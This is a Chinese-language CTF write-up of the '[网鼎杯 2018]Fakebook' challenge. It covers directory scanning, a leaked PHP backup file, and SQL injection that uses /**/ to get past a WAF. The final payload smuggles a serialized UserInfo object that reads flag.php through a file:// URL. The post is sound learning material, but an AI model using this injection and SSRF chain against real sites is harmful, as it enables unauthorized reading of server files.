buu摸鱼日记(3)
[网鼎杯 2018]Fakebook
说实话,看完了这个题目,我停止了思考
知识点过多,感觉需要花几天理一下
注册了一个账号,登进去,没思路了,也没看见什么公告板什么的(XSS)
不过,看了下wp,倒是把思路整理了出来了
(这是sql注入我真没想到)
首先先素质二连,拿起御剑/dirsearch …工具先扫一遍
然后会发现robot.txt和几个php什么的(有的能直接扫到flag.php(我没扫出来))
以及一个非常关键的东西:user.php.bak
可以发现他是经过了序列化的
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
#非常明显,name age blog这些量是通过对象装的,
order by 测出来4个行,
union select了下,发现明显有waf
用/**/代替空格
-1/**/union/**/select/**/1,2,3,4
2会有正常回显其他则会显示错误,且会报错(Notice: Trying to get property of non-object in /var/www/html/view.php on line 56)
爆出根目录位置以及验证了对象序列化
之后就爆字段爆表名(可能是因为我没怎么玩过后端,写起来老费劲了)
最后会发现会爆出一个反序列化对象(其实爆不爆无所谓)
按照上面的序列new一个对象,进行序列化导入。即可拿到flag
payload:
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这个题目其实不难,就是个巨大的缝合怪。各个点都很简单(但就是没想到)。由于基础不扎实,感觉还是需要补充一下基础姿势
这里的点有:反序列化 sql 注入 以及工具的利用什么的
还是要打好基础
PREVIOUSXss
NEXTBuu摸鱼日记(4)